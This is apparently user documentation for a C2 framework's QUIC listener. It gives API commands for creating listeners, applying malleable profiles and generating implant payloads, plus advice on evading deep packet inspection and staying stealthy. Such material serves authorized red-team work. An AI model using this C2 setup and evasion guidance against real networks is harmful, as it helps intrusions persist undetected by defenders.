QUIC Listener¶

QUIC (HTTP/3) provides a modern C2 transport built on UDP with built-in TLS 1.3, 0-RTT connection establishment, and connection migration. QUIC traffic is increasingly common on the internet (used by Google, Cloudflare, Meta) making it an effective transport for blending with normal traffic.

Why QUIC?

UDP-based: Bypasses TCP-focused deep packet inspection and firewalls that only inspect TCP streams
Built-in TLS 1.3: Encrypted by default with no option to downgrade -- resistant to SSL inspection appliances that rely on TLS interception
0-RTT resumption: Faster reconnection after sleep cycles -- the handshake completes in a single round-trip
Connection migration: Beacon survives network changes (WiFi to Ethernet, VPN connect/disconnect) without re-establishing the session
Multiplexed streams: Multiple concurrent requests over a single connection without head-of-line blocking

Architecture¶

QUIC reuses the exact same C2 HTTP mux as HTTP/HTTPS listeners. The only difference is the transport layer -- HTTP/3 over QUIC instead of HTTP/1.1 or HTTP/2 over TCP. This means malleable profiles, beacon registration, task queuing, and all C2 operations work identically.

sequenceDiagram
    participant Implant as Implant (Windows)
    participant Relay as Relay C2 Server (Kali)
    participant Backend as Backend API Server

    Implant->>Relay: QUIC/HTTP3 request (UDP, TLS 1.3)
    Relay->>Backend: WebSocket event (beacon registration)
    Backend-->>Relay: WebSocket command (task queue)
    Relay-->>Implant: QUIC/HTTP3 response (task payload)
    Implant->>Relay: QUIC/HTTP3 request (task result)
    Relay->>Backend: WebSocket event (result delivery)

Creating a QUIC Listener¶

REST API¶

curl -s -X POST https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "QUIC Primary",
    "relay_id": "25b2e4d7-8b7f-411f-8fe0-7faed06b90d1",
    "type": "quic",
    "port": 8443,
    "tls_auto_generate": true
  }' | jq

Start the Listener¶

curl -s -X POST "https://stentor.app/api/v1/listeners/$LISTENER_ID/start" \
  -H "Authorization: Bearer $TOKEN"

Configuration Options¶

Parameter	Type	Required	Default	Description
`name`	string	Yes	--	Display name for the listener
`relay_id`	UUID	Yes	--	Target relay agent
`type`	string	Yes	--	Must be `quic`
`port`	int	Yes	--	UDP port to listen on (default: 8443)
`host`	string	No	Relay IP	Bind address
`tls_auto_generate`	bool	No	`true`	Auto-generate TLS certificate
`tls_cert`	string	No	--	Custom TLS certificate (PEM)
`tls_key`	string	No	--	Custom TLS private key (PEM)

Port Selection

Default port is 8443 (not 443) to avoid privileged port binding on Linux. QUIC uses UDP, so port 443/UDP is distinct from HTTPS on 443/TCP. You can run both an HTTPS and QUIC listener on port 443 simultaneously since they use different protocols (TCP vs UDP).

Malleable Profile Support¶

QUIC supports malleable C2 profiles just like HTTPS. Since HTTP/3 is still HTTP semantically, all HTTP transforms (headers, URI paths, body transforms, metadata encoding) apply to QUIC traffic.

# Create QUIC listener with malleable profile
curl -s -X POST https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "QUIC Malleable",
    "relay_id": "25b2e4d7-8b7f-411f-8fe0-7faed06b90d1",
    "type": "quic",
    "port": 8443,
    "tls_auto_generate": true,
    "profile_id": "PROFILE_UUID"
  }' | jq

Payload Generation¶

When generating payloads for a QUIC listener, the server auto-propagates the QUIC configuration (relay IP + listener port) from the listener type. The UI auto-detects the transport from listener.type.

Supported payload formats: All formats that support HTTPS also support QUIC (EXE, DLL, Service DLL, Shellcode, XLL).

# Generate payload for QUIC listener
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "listener_id": "LISTENER_UUID",
    "format": "exe",
    "arch": "x64"
  }' --output payload.exe

QUIC vs HTTPS¶

Feature	HTTPS	QUIC
Protocol	TCP + TLS 1.2/1.3	UDP + TLS 1.3 (built-in)
Port	443/TCP (or custom)	443/UDP (or custom)
DPI evasion	Moderate -- TCP inspection well-understood	Higher -- UDP inspection less common
Connection migration	No -- TCP 4-tuple fixed	Yes -- survives network changes
0-RTT resumption	TLS 1.3 only	Built-in
Firewall bypass	High -- HTTPS allowed everywhere	Moderate -- some networks block UDP 443
Malleable profiles	Full support	Full support
Head-of-line blocking	Yes (HTTP/1.1) or per-stream (HTTP/2)	None -- independent streams

Network Compatibility

Some corporate networks block outbound UDP entirely or only allow UDP 53 (DNS). In these environments, QUIC will fail and you should use HTTPS instead. Test QUIC connectivity before relying on it as the sole transport.

OPSEC Considerations¶

OPSEC

QUIC traffic on non-standard ports (e.g., 8443/UDP) may stand out in network logs -- prefer port 443 when possible
Some network monitoring tools do not yet inspect QUIC traffic, which is an advantage
Connection migration means the beacon can survive VPN reconnections without generating new TLS handshakes
0-RTT data can theoretically be replayed -- the quic-go library handles replay protection at the protocol layer
QUIC uses the same TLS certificate infrastructure as HTTPS -- use legitimate certificates for maximum stealth
The QUIC implementation uses the quic-go library which produces a distinct TLS fingerprint (not Chrome/Firefox) -- consider this when fingerprint analysis is a concern

Troubleshooting¶

Issue	Cause	Fix
Connection timeout	UDP blocked by firewall	Check outbound UDP rules, try port 443
Certificate error	Self-signed cert rejected	Use `IMPLANT_INSECURE_SKIP_VERIFY=true` or valid cert
Listener won't start	Port conflict	Check for existing UDP listeners on the port
Intermittent drops	UDP packet loss on lossy networks	QUIC has built-in retransmission, but high loss may cause slowdowns